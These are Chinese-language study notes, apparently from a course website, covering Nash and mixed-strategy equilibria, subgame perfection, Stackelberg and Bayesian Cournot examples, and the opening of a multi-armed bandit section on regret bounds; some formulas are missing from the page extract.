所以,任何纯策略都不是纳什均衡,因为总是存在一个对手可以通过选择另一个策略来打败你的策略。
混合策略纳什均衡
在剪刀石头布中,唯一的纳什均衡是每个玩家都以 ⅓ 的概率 随机选择剪刀、石头和布。
为什么这是纳什均衡?
如果你的对手以 ⅓ 的概率随机出剪刀、石头和布: * 你出剪刀的期望收益是:(⅓) * (平局) + (⅓) * (输) + (⅓) * (赢) = 0 (假设赢+1,输-1,平0) * 你出石头的期望收益是:(⅓) * (赢) + (⅓) * (平局) + (⅓) * (输) = 0 * 你出布的期望收益是:(⅓) * (输) + (⅓) * (赢) + (⅓) * (平局) = 0
无论你选择哪个纯策略,你的期望收益都是0。因此,你没有动机偏离随机选择的策略,因为你无法通过单方面改变策略来获得更高的期望收益。同理,对手也没有动机偏离。
公地悲剧
有一块公共牧场(这就是"公地")。村里的每个农民都可以自由地在这块牧场上放牧自己的奶牛。假设放牧的奶牛越多,牧场的草地资源就越紧张,每头奶牛能吃到的草就越少,因此每头奶牛产奶量(收益)就会下降。
农民的个体理性决策:
每个农民在决定是否多养一头奶牛时,都会进行如下思考:
收益: 如果我多养一头奶牛,这头奶牛带来的产奶收益几乎全部归我所有。
成本: 这头奶牛会额外消耗牧场的草,导致所有奶牛(包括我自己的和其他农民的)的产奶量略有下降。但这个下降的成本是分散到所有奶牛身上的,对我自己的那头新奶牛而言,它分摊的成本只是一小部分。而养这头牛的直接成本(比如买牛的钱)是我自己承担的。
由于每增加一头奶牛所带来的收益(几乎全部归己)大于其边际成本(特别是对公共草地造成的外部性被分散了),所以每个农民都有激励去尽可能多地增加自己的奶牛数量,直到他认为增加一头奶牛的私人收益不再大于私人成本。
集体的非理性结果(悲剧):
当所有农民都进行这种个体理性决策时,结果是:
奶牛数量过多: 牧场上的奶牛总数远远超过了牧场的承载能力。
草地退化: 牧场被过度放牧,草地资源枯竭,变得贫瘠。
所有农民的损失: 最终,每头奶牛的产奶量都大幅下降,甚至无法维持生存。整个牧场遭到破坏,所有农民的收益都受到严重损害,甚至可能完全消失。这个公共资源被"悲剧性"地耗尽了。
纳什均衡 (Nash Equilibrium)¶
纳什均衡
纳什均衡是博弈论中最核心的均衡概念之一。一个策略组合如果满足以下条件,就是纳什均衡:在给定其他所有参与者策略的情况下,没有任何一个参与者可以通过单方面改变自己的策略来获得更高的收益。
对于一个策略组合 \(s^* = (s_1^*, s_2^*, \dots, s_n^*)\),如果对于每个参与人 \(i\) 和其所有可能的替代策略 \(s_i'\),都有 \(u_i(s_i^*, s_{-i}^*) \geqslant u_i(s_i', s_{-i}^*)\),那么 \(s^*\) 就是一个纳什均衡。其中 \(u_i\) 是参与人 \(i\) 的支付函数,\(s_{-i}^*\) 是除参与人 \(i\) 之外所有其他参与人选择的策略。
- 存在性: 纳什均衡可能存在一个、多个或不存在(在纯策略纳什均衡中)。约翰·纳什证明了在有限参与者和有限策略的博弈中,至少存在一个混合策略纳什均衡。
- 不一定是社会最优: 纳什均衡的结果可能是效率低下的。例如,在囚徒困境中,双方都坦白是纳什均衡,但它不是社会总福利最大化的结果(社会最优是双方都抵赖)。
- 理性假设: 纳什均衡的推导基于所有参与者都是理性的,并且知道其他参与者也是理性的。
寻找纳什均衡的方法
如果有表格,则先固定看行,对于每一列,求出列参与者的最优策略,再看列,求出对于每一行列参与者的最优策略,则交叉点即为纳什均衡。
混合策略纳什均衡¶
混合策略
混合扩展
例子

混合策略纳什均衡
给定一个博弈的混合扩展 \(\Gamma=(N,(\Sigma_i)_{i\in N},(\mathcal{U}_i)_{i\in N})\),一个混合策略向量 \(\sigma^*=(\sigma^*_1,\ldots,\sigma^*_n)\) 是一个混合策略纳什均衡,若对每个参与人 \(i\),有
等价条件
令 \(G=(N,(S_i)_{i\in N},(u_i)_{i\in N})\) 为一个策略型博弈,\(\Gamma\) 为 \(G\) 的混合扩展。 一个混合策略向量 \(\sigma^*\) 是 \(\Gamma\) 的混合策略纳什均衡,当且仅当对于每个参 与人 \(i\) 和每一个纯策略 \(s_i\in S_i\),有
只需要满足不偏移纯策略
Proof
正向推导只需要注意到纯策略也是特殊的混合策略即可。反过来,对于参与人 \(i\) 的每个混合策略 \(\sigma_i\),
无差异原则
令 \(\sigma^*\) 为一个混合策略纳什均衡,\(s_i\) 和 \(s_i'\) 为参与人 \(i\) 的两个纯策略,若 \(\sigma^*_i(s_i), \sigma^*_i(s_i') > 0\),则 \(\mathcal{U}_i(s_i,\sigma^*_{-i}) = \mathcal{U}_i(s_i',\sigma^*_{-i})\)。
定理成立的原因很简单:如果 \(\mathcal{U}_i(s_i,\sigma^*_{-i}) > \mathcal{U}_i(s_i',\sigma^*_{-i})\)那么参与人 \(i\) 应增加 \(s_i\) 的概率
Question
被赋予正概率的集合称为混合策略的支撑集合;
-
问题:被严格占优的策略有可能属于混合策略的支撑集合吗;不能。
-
问题:为什么混合策略支撑集的策略无差异,不能只选择其中一个行动或任意选取概率分布;
你之所以对自己的几个可选策略"无差异",是由于你的对手采取了特定的策略组合。反过来,你也必须使用特定的概率组合,才能让你的对手也处于"无差异"状态,从而维持整个均衡的稳定。
性别大战
考虑如下性别大战:一对夫妻要安排他们周末的活动,可选择的活动有看
足球赛(\(F\))和听音乐会(\(C\))。丈夫更喜欢看足球赛,而妻子更喜欢听音
乐会。如果他们选择的活动不同,那么他们都不会高兴,如果他们选择的
活动相同,那么他们都会高兴,只是高兴程度略有不同
而 \(u_2(x,y) = xy \cdot 1 + (1-x)(1-y) \cdot 2 = 2 - 2x - 2y + 3xy\)。将 \(x\) 视为定值,对 \(y\) 求导得到 \(3x-2\),因此可以得到最优反应集合为(丈夫同理):
画图得到三个交点,分别是 \((0,0)\),\((0,1)\),\((\frac{2}{3},\frac{1}{3})\)。 由混合策略纳什均衡下双方的对应的收益,可知混合策略下收益并没有达到最大,实际情况中往往是两者商量选择(F,F)或者(C,C)。
也可以使用无差异原则,丈夫选择F和C的收益相同,妻子仍然以混合策略 \((y,1-y)\)
也就是说
y=\(\frac{1}{3}\),同理可以得到x=\(\frac{2}{3}\)。
纳什定理
纳什定理每一个策略型博弈\(G\),如果参与人的个数有限,每个参与人的纯策略数目有限,那么 \(G\) 至少有一个混合策略纳什均衡
完全信息动态博弈¶

扩展式博弈
博弈出现了参与人多轮交互,整体博弈被表达为了一棵树,这一类博弈被称为扩展式博弈(extensive-form game),其中
- 根节点表示博弈的开始,每个叶节点都标志博弈的一个结束点;
- 每个非叶节点上都需要标注这一步的行动者;
- 每个叶节点上需要标注博弈在这一终点下的参与人效用
扩展式博弈每个参与人的策略是一个向量,表示其在所有可能行动的节点上的行动。例如蜈蚣博弈中参与人 1 的策略可能是 \((C,C,C,S,\ldots,C,S)\);
- 即使选定某一策略后博弈停止,也要将此后所有节点的策略都定义好。
一个扩展式博弈的子博弈(subgame)由一个节点 \(x\) 和所有该节点的后继节点组成;
- 实际上就是 \(x\) 为根的子树,记为 \(\Gamma(x)\)。
完美信息博弈
如果每个参与人在选择行动时,都知道他位于博弈树的哪个节点上,那么 这个博弈就是完美信息博弈(game with perfect information),例如蜈蚣博弈,国际象棋等;
如果博弈中存在信息不完全的情况,那么这个博弈就是不完全信息博弈(game with imperfect information),例如扑克牌游戏,股票市场等。
子博弈完美均衡
子博弈完美均衡(subgame perfect equilibrium)是指对于扩展式博弈中的任意子博弈 \(\Gamma(x)\),局限在那个子博弈的策略向量 \(\sigma^*\) 是 \(\Gamma(x)\) 的纳什均衡。对每个参与人 \(i\),每个策略 \(\sigma_i\) 和子博弈 \(\Gamma(x)\):
这一定义是很直观的,因为如果某个子博弈 \(\Gamma(x)\) 上参与人存在有利可图的偏离,那么局面有达到也是一个有利可图的偏离。
Question
当一个博弈存在不止一个均衡时,我们希望基于合理的选择标准选择一些均衡,而剔除另一些均衡,这样的一个选择叫做均衡精炼(equilibrium refinements)。
子博弈完美均衡是否是纳什均衡的精炼?换言之,是否存在不是子博弈完美均衡的纳什均衡?
是的,这个概念主要是为了排除"不可信的威胁"。比如,在一个博弈中,我威胁说"如果你不给我100块,我就会引爆一个会把我们俩都炸飞的炸弹"。这个威胁可能在博弈开始时能吓住你,构成一个纳什均衡。但如果博弈真的进行到了你没有给我钱的那个节点(子博弈),对我来说,引爆炸弹是一个极不理性的行为(因为我也会死)。因此,这个威胁是"不可信的"。SPE会排除这种依赖于不可信威胁的均衡。从下面的例子可以看到;
Answer
(A, C) 之所以能成为一个纳什均衡,是因为它背后隐藏着一个威胁:参与人II 对 I 说:"你最好选A。如果你敢选B,我就会选C,到时候我们俩都得0。" 如果参与人I相信这个威胁,他会这样想:"我选A能得1。如果我选B,II会选C,我只能得0。所以为了我的利益,我最好还是选A。" 这样一来,(A, C) 这个组合就稳定下来了,没有人愿意单方面偏离。
但这个威胁是"不可信"的:
因为如果I真的不信邪,选择了B,博弈就进行到了 x2 节点。此时,轮到II做决策,II会发现,选C自己得0,选D自己能得1。他作为一个理性的人,会立刻忘记自己之前的威胁,转而选择对自己最有利的D。
理性的参与人I应该能预见到这一点,他会知道II的威胁只是虚张声势。所以I的正确决策应该是选择B,因为他知道一旦选了B,II必然会选D,从而自己能得到2,这比选A得到的1要好。
例子中 \((A,C)\) 能作为均衡,或者说 \(C\) 这一被 \(D\) 占优的策略可以成为均衡,是因为 \((A,C)\) 到不了真正要选择 \(C,D\) 的 \(x_2\) 点。
用 \(P_\sigma(x)\) 表示当实施策略向量 \(\sigma\) 时,博弈展开将造访节点 \(x\) 的概率。有如下定理:
定理:令 \(\sigma^*\) 是扩展式博弈 \(\Gamma\) 的纳什均衡,如果对所有 \(x\) 都有 \(P_{\sigma^*}(x)>0\),那么 \(\sigma^*\) 是子博弈完美均衡。
- 这是子博弈完美均衡的充分条件,定理是显然的,因为如果 \(\sigma^*\) 不是子博弈完美均衡,那么在某个子博弈 \(\Gamma(x)\) 上存在有利可图的偏离,并且这个偏离产生的概率不为 0,因此也可以带来全局的有利可图的偏离;这与纳什均衡的定义矛盾。
在上面的 (A, C) 这个纳什均衡下,博弈路径根本不会经过 x2 节点,所以 \(P(x_2)=0\)。因为永远走不到那一步,II所制定的那个不理性的策略(选C)就永远不会被检验,所以这个均衡在纳什均衡的框架下得以"幸存"。
而子博弈完美均衡的要求更严格,它会审查所有可能的路径(包括那些在均衡路径上不会发生的),确保每一步决策都是理性的。因此,它能够剔除掉 (A, C) 这种依赖于空洞威胁的、不那么"完美"的均衡。
- 推论:完全混合的纳什均衡是子博弈完美均衡
逆向归纳法¶
可以从最小的子博弈触发求解
该方法的应用保证了每一个子博弈都使用了均衡策略,并且每一步都能做出选择,由此可得:
定理
每个有限完美信息扩展式博弈都至少有一个子博弈完美纯策略均衡
然而逆向归纳法存在局限性:不是子博弈完美均衡的均衡可能更好:
斯塔克尔伯格模型¶
斯塔克尔伯格模型 (Stackelberg Model)
经济学中子博弈完美均衡最基本的应用就是产量领导模型(或称斯塔克尔伯格模型),常用于描述有一家厂商处于支配地位或充当自然领导者的行业。例如 IBM 是具有支配地位的行业,通常观察到的其它小企业的行为模式是等待 IBM 宣布新产量然后调整自己的产量决策,此时 IBM 就是斯塔克尔伯格领导者,其它厂商是跟随者。
设市场中有两个厂商:
- 厂商 1 (领导者) : 选择产量 \(y_1\)
- 厂商 2 (跟随者) : 选择产量 \(y_2\)
- 市场价格 : \(p(y_1 + y_2)\)
- 成本 : \(c_1(y_1)\) 和 \(c_2(y_2)\)
使用逆向归纳法求解¶
斯塔克尔伯格模型是一个动态博弈,其子博弈完美均衡可以用逆向归纳法求解。这个过程可以被形式化为一个双层优化问题 (bi-level optimization problem)。
- 第一步:求解跟随者的最优反应 我们从博弈的最后一步开始,即跟随者(厂商2)的决策。在领导者(厂商1)已经确定其产量 \(y_1\) 的情况下,厂商2选择自己的产量 \(y_2\) 来最大化其利润。厂商2的最优反应 \(y_2^* = f_2(y_1)\) 是通过求解以下问题得到的:
这个最优反应函数 \(f_2(y_1)\) 描述了对于领导者的每一个可能的产量,跟随者会如何选择自己的产量。
- 第二步:求解领导者的最优决策
领导者(厂商1)在做决策时,能够完全预见到跟随者会如何根据自己的决策做出反应。因此,领导者将跟随者的最优反应函数 \(f_2(y_1)\) 视为已知,然后选择自己的产量 \(y_1\) 来最大化自身利润。
领导者的利润最大化问题可以表述为:
或者综合表达为:
求解这个优化问题,就可以得到领导者的最优产量 \(y_1^*\),以及随后跟随者的最优产量 \(y_2^*=f_2(y_1^*)\)。
先求解厂商 2 的最优反应函数 \(y_2^* = f_2(y_1)\),然后将其代入厂商 1 的利润函数中,求解厂商 1 的最优产量 \(y_1^*\)
Example
设总产量为 \(y_1+y_2\) 时的市场价格为 \(2-y_1-y_2\),并且厂商 1 和 2 的生产一件产品的单位生产成本分别为 \(c_1,c_2\),求在该假设下二者的子博弈完美均衡产量
先写出厂商 1 和 2 的利润函数:
然后先对给定 \(y_1\) 的情况下求厂商 2 的最优反应,解得
然后将 \(y_2\) 代入厂商 1 的利润函数,求解得到最优的
最后将 \(y_1\) 代入 \(y_2\) 的表达式,求解得到最优的
与古诺模型的区别是,古诺模型中没有彼此的先后关系,也就不能回代;
不完全信息博弈¶
考虑一个包括两个企业的行业博弈。假定这个行业有一个在位者(参与人1)和一个潜在的进入者(参与人 2)。参与人 1 决定是否建立一个新工厂,同时参与人 2 决定是否进入该行业。假定参与人 2 不知道参与人 1建厂的成本是 3 还是 0,但参与人 1 自己知道。
假设参与人 2 对参与人 1 的类型有先验概率:认为参与人 1 成本为 3(成本高)的概率为 \(p\),成本为 0(成本低)的概率为 \(1-p\)
-
首先检查是否存在劣策略,参与人1有占优策略,成本低的时候始终选择建厂,成本高的时候选择不建厂;
根据参与人1的策略,参与人2进入的期望效用是参与人1成本高情况下(不建,进入)和成本低情况下(建,进入)的期望效用
因此得到均衡,当 \(p>\frac{1}{2}\) 时,对于参与人 2,选择进入优于不进入,故选择进入,\(p<\frac{1}{2}\) 则选择不进入,\(p=\frac{1}{2}\) 二者无差异。
如果将低成本时的建厂成本设定为 1.5,如下表,则参与人 1 只在高 成本时有占优策略(不建厂)。
接下来只能使用无差异原则求解均衡。设参与人 1 低成本时建厂概率为 \(x\),参与人 2 进入概率为 \(y\)。首先考虑是否存在纯策略均衡:
-
\(x=1,y=0\)(对应纯策略组合(建厂,不进入)),对低成本的参与人 1 而言,\(x=1\) 是 \(y=0\) 的最优反应;对参与人 2,\(x=1\) 时,\(y=0\) 的效用为 0,\(y=1\) 的效用为 \(p-(1-p)=2p-1\),故 \(y=0\) 是 \(x=1\) 的最优反应当且仅当 \(p\leq\frac{1}{2}\);
-
同理可以验证 \(x=0,y=1\) 在任意的 \(p\) 下都是均衡。
接下来考虑混合策略均衡,根据无差异条件:
• 低成本参与人 1 是否建厂无差异:
解得 \(y=\frac{1}{2}\);
• 参与人 2 是否进入无差异:
解得 \(x=\frac{1}{2(1-p)}\)
总而言之,这一博弈存在两个纯策略均衡(其中一个有条件)和一个混合策略纳什均衡:
-
均衡下高成本参与人 1 永远选择占优策略不建厂;
-
当 \(p \leq \frac{1}{2}\) 时,低成本参与人 1 选择建厂,参与人 2 选择不进入;
-
低成本参与人 1 选择不建厂,参与人 2 选择进入;
-
低成本参与人 1 以 \(x=\frac{1}{2(1-p)}\) 概率选择建厂,参与人 2 以概率 \(\frac{1}{2}\) 选择进入,当p增大,x也增大,也就是说,若参与者2认为参与者1是高成本的概率增大,则参与者1会增大建厂的概率,以吓阻进入者。
不完全信息博弈
从行业博弈出发,不完全信息博弈定义在策略式博弈基础上有如下改变: 原先的三元组需要扩展为五元组,需要增加每个参与人的类型集合 \((T_i)_{i\in N}\) 和类型的先验分布 \(p\);
- 先验分布 \(p\) 是给每种类型向量 \((t_1,\ldots,t_n)\) 赋予一个概率;
- 行业博弈中参与人 2 只有一种默认类型,故先验分布定义在两种类型 向量(高成本,默认类型)和(低成本,默认类型)上,此处显然默 认类型可以被省略,因此可以只定义参与人 1 两种类型的先验概率;
在一般的情况下,上述 \(p\) 给出的是联合概率分布,因此边际概率分布为
参与人是知道自己的类型为 \(t_i\) 的,故对其他人的类型有后验概率分布为
均衡的定义需要涉及收益的比较,故此处简单展开计算。当参与人策略组合为 \(\sigma=(\sigma_1,\ldots,\sigma_n)\) 时,如果参与人类型组合是 \(t=(t_1,\ldots,t_n)\),那么每个纯策略组合 \((s_1,\ldots,s_n)\) 被选择的概率是 \(\prod_{i\in N} \sigma_i(t_i;s_i)\),因此参与人 \(i\) 的期望收益是
上述表达式中在不完全信息的情况下存在不确定性:参与人不知道其它参与人的类型,因此需要进一步对类型求取期望,得到(将 \(t\) 拆成 \(t_i,t_{-i}\))
这就得到了参与人策略组合为 \(\sigma=(\sigma_1,\ldots,\sigma_n)\) 时,每个参与人 \(i\) 效用的形式化表达
Example
回忆古诺竞争是两个寡头同时决定产量的博弈。假定企业的利润为
其中 \(\theta_i\) 是线性需求函数的截距与企业 \(i\) 的单位成本之差,\(q_i\) 是企业 \(i\) 选择的产量。
企业 1 的类型 \(\theta_1=1\) 是共同知识,但企业 2 拥有关于其单位成本的私人信息。企业 1 认为 \(\theta_2=\frac{3}{4}\)(高成本)和 \(\theta_2=\frac{5}{4}\)(低成本)的概率均为 \(\frac{1}{2}\),且先验分布是共同知识。
Answer
首先将博弈表达为不完全信息的形式(写出五元组)
- 参与人集合 \(N=\{1,2\}\)
- 策略集合 \(S_1=\{q_1\},S_2=\{q_2\}\)
- 收益函数 \(u_1(q_1,q_2,\theta_1)=q_1(\theta_1-q_1-q_2),u_2(q_1,q_2,\theta_2)=q_2(\theta_2-q_1-q_2)\)
- 类型集合 \(T_1=\{\theta_1=1\},T_2=\{\theta_2=\frac{3}{4},\theta_2=\frac{5}{4}\}\)
- 先验分布 \(p(\theta_2=\frac{3}{4})=\frac{1}{2},p(\theta_2=\frac{5}{4})=\frac{1}{2}\)
接下来求解该博弈的纯策略贝叶斯纳什均衡。企业 2 的策略是依赖于其类型的产量函数 \(q_2(\theta_2)\),企业 1 的策略是单个产量 \(q_1\)。
-
企业 2 的最优反应
企业 2 知道自己的类型 \(\theta_2\),因此它在给定 \(q_1\) 的情况下,选择 \(q_2\) 来最大化自己的利润:
\[ \max_{q_2} q_2(\theta_2 - q_1 - q_2) \]通过一阶条件 \(\frac{\partial u_2}{\partial q_2} = \theta_2 - q_1 - 2q_2 = 0\),可以得到企业 2 的最优反应函数为:
\[ q_2^*(\theta_2) = \frac{\theta_2 - q_1}{2} \]因此,根据企业 2 的不同类型,我们有:
- 低成本类型(\(\theta_2 = 5/4\))的产量为:\(q_2^L = q_2^*(5/4) = \frac{5/4 - q_1}{2}\)
- 高成本类型(\(\theta_2 = 3/4\))的产量为:\(q_2^H = q_2^*(3/4) = \frac{3/4 - q_1}{2}\)
-
企业 1 的最优反应
企业 1 不知道企业 2 的类型,因此它选择 \(q_1\) 来最大化自身的期望利润。它预期企业 2 会根据其类型来选择最优反应。
\[ \begin{aligned} \max_{q_1} E[\pi_1] &= \frac{1}{2} \pi_1(q_1, q_2^L) + \frac{1}{2} \pi_1(q_1, q_2^H) \\ &= \frac{1}{2} q_1(1 - q_1 - q_2^L) + \frac{1}{2} q_1(1 - q_1 - q_2^H) \end{aligned} \]对 \(q_1\) 求一阶导数并令其为 0,得到:
\[ \frac{dE[\pi_1]}{dq_1} = \frac{1}{2}(1 - 2q_1 - q_2^L) + \frac{1}{2}(1 - 2q_1 - q_2^H) = 1 - 2q_1 - \frac{q_2^L + q_2^H}{2} = 0 \]解得企业 1 的最优产量为:
\[ q_1^* = \frac{2 - q_2^L - q_2^H}{4} \] -
求解均衡
我们将企业 2 的两个最优反应函数代入企业 1 的最优产量公式中,构成一个三元一次方程组并求解:
\[ \begin{cases} q_1 = \frac{2 - q_2^H - q_2^L}{4} \\ q_2^L = \frac{5/4 - q_1}{2} \\ q_2^H = \frac{3/4 - q_1}{2} \end{cases} \]将后两式代入第一式:
\[ \begin{aligned} 4q_1 &= 2 - \left(\frac{3/4 - q_1}{2}\right) - \left(\frac{5/4 - q_1}{2}\right) \\ 4q_1 &= 2 - \frac{1}{2} \left(\frac{3}{4} - q_1 + \frac{5}{4} - q_1\right) \\ 4q_1 &= 2 - \frac{1}{2} (2 - 2q_1) \\ 4q_1 &= 2 - 1 + q_1 \\ 3q_1 &= 1 \implies q_1^* = \frac{1}{3} \end{aligned} \]将 \(q_1^*\) 的值代回,可得企业 2 的产量:
\[ \begin{aligned} q_2^L &= \frac{5/4 - 1/3}{2} = \frac{11/12}{2} = \frac{11}{24} \\ q_2^H &= \frac{3/4 - 1/3}{2} = \frac{5/12}{2} = \frac{5}{24} \end{aligned} \]因此,该博弈的纯策略贝叶斯纳什均衡是:企业 1 生产 \(q_1^* = 1/3\);企业 2 在类型为 \(\theta_2=5/4\) 时生产 \(q_2^L=11/24\),在类型为 \(\theta_2=3/4\) 时生产 \(q_2^H=5/24\)。
由于我们求解的是一个由线性最优反应函数组成的方程组,这个方程组有唯一的解。因此,不存在其他纯策略贝叶斯纳什均衡。
信息价值分析:对比不同信息结构下的利润
如果两个厂商都知道厂商 2 的类型,可以求出高低两种情况的纳什均衡,可以计算出此时的利润然后取平均; 如果两个厂商都不知道厂商 2 的类型,本质上退回完全信息情景,厂商 2 自己都不知道自己的类型,故只能按平均值计算自己的策略, 厂商 1 也知道厂商 2 按平均值计算,从而博弈退化到完全信息场景
| 关于厂商 2 的类型的知识 | 厂商 1 的利润 | 厂商 2 的利润 |
|---|---|---|
| 两个厂商都不知道 | 1/9 | 1/9 |
| 只有厂商 2 知道 | 1/9 | ≈ 0.127 |
| 两个厂商都知道 | 17/144 | 5/36 |
首先推导一个公式
这是由利润最大化的一阶条件直接推导出来的。
-
企业 i 的利润函数为:
\[ u_i = q_i(\theta_i - q_i - q_j) \] -
利润最大化的一阶条件 (FOC) 是对 \(q_i\) 求导并令其为 0:
\[ \frac{\partial u_i}{\partial q_i} = (\theta_i - q_i - q_j) - q_i = \theta_i - 2q_i - q_j = 0 \] -
从一阶条件中,我们可以得到:
\[ \theta_i - q_i - q_j = q_i \] -
将这个结果代回到原始的利润函数中:
\[ u_i = q_i \underbrace{(\theta_i - q_i - q_j)}_{=q_i} = q_i \cdot q_i = q_i^2 \]
因此,在满足最优反应(即一阶条件成立))的任何点上,利润都等于其产量的平方。这在计算均衡利润时是一个非常方便的简化。
Case 1: 两个厂商都不知道 (对称信息缺失)
在这种情况下,厂商 2 自己也不知道其成本是高是低。因此,它只能基于其类型的期望值来做决策。厂商 1 也知道厂商 2 是这样决策的。
- 厂商 2 的期望类型为:\(E[\theta_2] = \frac{1}{2} \cdot \frac{5}{4} + \frac{1}{2} \cdot \frac{3}{4} = 1\)
- 厂商 1 的类型为:\(\theta_1 = 1\)
博弈退化为一个标准的对称古诺竞争,双方的利润函数为 \(u_i = q_i(1 - q_i - q_j)\)。
-
求解均衡产量: 双方的最优反应函数为 \(q_i^* = (1 - q_j)/2\)。联立求解可得:
\[ q_1^* = q_2^* = \frac{1}{3} \] -
计算利润:
\[ u_1 = u_2 = \frac{1}{3} \left(1 - \frac{1}{3} - \frac{1}{3}\right) = \left(\frac{1}{3}\right)^2 = \frac{1}{9} \]
这与表格第一行的数据相符。
只有厂商 2 知道 (非对称信息)
这就是我们之前求解的标准贝叶斯纳什均衡情景。
-
均衡产量:
\[ q_1^* = \frac{1}{3}, \quad q_2^L = \frac{11}{24} \text{ (低成本)}, \quad q_2^H = \frac{5}{24} \text{ (高成本)} \] -
计算厂商 1 的期望利润: 厂商 1 不知道对手是哪种类型,因此其利润是期望值:
\[ E[u_1] = \frac{1}{2} q_1^*(1 - q_1^* - q_2^L) + \frac{1}{2} q_1^*(1 - q_1^* - q_2^H) \]\[ = \frac{1}{2} \cdot \frac{1}{3} \left(1 - \frac{1}{3} - \frac{11}{24}\right) + \frac{1}{2} \cdot \frac{1}{3} \left(1 - \frac{1}{3} - \frac{5}{24}\right) = \frac{1}{2} \cdot \frac{5}{72} + \frac{1}{2} \cdot \frac{11}{72} = \frac{16}{144} = \frac{1}{9} \]实际上也可以用\(u_i=q_i^2\)(用一阶导为0来推导)来直接计算得到 1/9
-
计算厂商 2 的期望利润: 厂商 2 知道自己的类型,其期望利润是在它知道自己类型前的期望:
\[ E[u_2] = \frac{1}{2} u_2(q_2^L; \theta_2=\frac{5}{4}) + \frac{1}{2} u_2(q_2^H; \theta_2=\frac{3}{4}) \]由于 \(u_i=q_i^2\) 在均衡时成立,我们有:
\[ E[u_2] = \frac{1}{2} (q_2^L)^2 + \frac{1}{2} (q_2^H)^2 = \frac{1}{2} \left(\frac{11}{24}\right)^2 + \frac{1}{2} \left(\frac{5}{24}\right)^2 = \frac{1}{2} \frac{121+25}{576} = \frac{73}{576} \approx 0.1267 \]
这与表格第二行的数据相符。
Case 3: 两个厂商都知道 (完全信息)
在这种情况下,信息是完全的。博弈分为两种可能的情况,每种情况发生概率为 ½。我们需要分别求解,然后计算期望利润。
-
情况 A (厂商 2 为低成本, \(\theta_2 = 5/4\)):
- 求解古诺均衡得:\(q_1^A = 1/4, q_2^A = 1/2\)
- 利润为:\(u_1^A = (1/4)^2 = 1/16\), \(u_2^A = (1/2)^2 = 1/4\)
-
情况 B (厂商 2 为高成本, \(\theta_2 = 3/4\)):
- 求解古诺均衡得:\(q_1^B = 5/12, q_2^B = 1/6\)
- 利润为:\(u_1^B = (5/12)^2 = 25/144\), \(u_2^B = (1/6)^2 = 1/36\)
-
计算期望利润:
-
厂商 1:
\[ E[u_1] = \frac{1}{2} u_1^A + \frac{1}{2} u_1^B = \frac{1}{2} \left(\frac{1}{16} + \frac{25}{144}\right) = \frac{1}{2} \left(\frac{9}{144} + \frac{25}{144}\right) = \frac{17}{144} \] -
厂商 2:
\[ E[u_2] = \frac{1}{2} u_2^A + \frac{1}{2} u_2^B = \frac{1}{2} \left(\frac{1}{4} + \frac{1}{36}\right) = \frac{1}{2} \left(\frac{9}{36} + \frac{1}{36}\right) = \frac{10}{72} = \frac{5}{36} \]
-
厂商 2 的利润 \(5/36 \approx 0.139\) 与表格第三行的数据相符。
多臂老虎机 (Multi-Armed Bandit)¶
约 4574 个字 13 张图片 预计阅读时间 16 分钟
Definition
一个赌鬼要玩多臂老虎机,摆在他面前有 \(K\) 个臂(Arms)或动作选择(Actions),每一轮游戏中,他要选择拉动一个臂并会获得一个随机奖励(reward)(这一随机奖励来源于一个赌场设定好的分布,但赌鬼一开始不知道这一分布)。如果总共玩 \(T\) 轮,他该如何最大化奖励
随机多臂老虎机¶
随机多臂老虎机
在每一步 \(t=1,2,\ldots,T\) 中:
- 玩家选择一个臂 \(a_t \in A = \{a_1, \ldots, a_K\}\);
- 玩家获得该臂对应的随机奖励 \(r_t \sim R(a_t)\)(\(r_t \in [0,1]\));
- 玩家依据过往轮次的奖励情况调整选择策略,实现奖励最大化。
说明:
- 奖励分布的均值记为 \(\mu(a_k) = \mathbb{E}[R(a_k)]\),\(k \in [K]\);
- 最优臂 \(a^*\) 的奖励均值 \(\mu^* = \max_{a \in A} \mu(a)\);
- 奖励均值差异 \(\Delta(a) = \mu^* - \mu(a)\)。
Note
奖励均值差异和奖励均值是未知的,玩家需要通过探索来估计这些值。定义这些值是为了在上帝视角分析算法的性能。
遗憾分析
伪遗憾
期望遗憾
由于选择策略的随机性,\(\mu(a_t)\) 是随机变量。
次线性
一个函数 \(f(x)\) 是次线性的,如果对于所有 \(x\),有 \(f(x) \leqslant cx\) 成立,其中 \(c\) 是一个常数。
在MAB问题中,我们常常关注算法遗憾界(regret bound)。一个好的遗憾界是次线性的(sub-linear),这意味着算法能逐渐学到最优臂,即
Hoeffding不等式
设 \(X_1, X_2, \ldots, X_n\) 是独立同分布的随机变量,且 \(X_i \in [0,1]\)。则对于任意 \(\epsilon > 0\),有
称 \([\mu - \epsilon, \mu + \epsilon]\) 是置信区间(confidence interval),\(\epsilon\) 是置信半径(confidence radius)。
若令 \(\epsilon = \sqrt{\frac{\alpha \log T}{n}}\),则有
一般取 \(\alpha = 2\)
贪心算法¶
贪心算法期望遗憾界¶
贪心算法期望遗憾界为 \(O\left(T^{\frac{2}{3}}(K\log T)^{\frac{1}{3}}\right)\)。
分析框架:好事件 vs. 坏事件
我们将利用阶段的期望遗憾 \(\mathbb{E}[R(\text{exploitation})]\) 分解为两部分:
-
事件 \(E\) (好事件): 我们的采样估计是"准确"的。具体来说,所有臂 \(a\) 的样本均值 \(Q(a)\) 与其真实均值 \(\mu(a)\) 的差距都小于某个范围 \(\text{rad}\)。 $$ E = { \forall a, |\mu(a) - Q(a)| \le \text{rad} } $$ 其中我们定义 \(\text{rad}\) 为 \(\sqrt{\frac{2\log T}{N}}\)。
-
事件 \(\bar{E}\) (坏事件): 事件 \(E\) 的补集,即至少有一个臂的采样估计"不准确",超出了 \(\text{rad}\) 的范围。
分析坏事件 \(\bar{E}\) 的贡献
根据霍夫丁不等式和联合界,坏事件发生的概率 \(P(\bar{E})\) 极小:
在坏事件中,最坏情况下的遗憾为 \(T\)。因此,这部分对总遗憾的贡献可以忽略不计:
分析好事件 \(E\) 的贡献
假设我们处在"好事件" \(E\) 中,即 \(|\mu(a) - Q(a)| \le \text{rad}\) 对所有臂都成立。 只有当我们选错了臂(即选择了次优臂 \(a\) 而非最优臂 \(a^*\))时,才会产生遗憾。这种情况发生的条件是 \(Q(a) > Q(a^*)\)。 利用好事件的定义,我们可以推导出一系列不等式:
整理上式可得,单步遗憾的上界为:
这意味着,在好事件中,即便我们选错了,这个次优臂也不会太差。因此,利用阶段的总遗憾上 界为:
综合与优化
将所有部分的遗憾相加,我们得到总期望遗憾 \(R(T)\) 的上界:
代入 \(\text{rad}\) 的定义,并忽略一些小项:
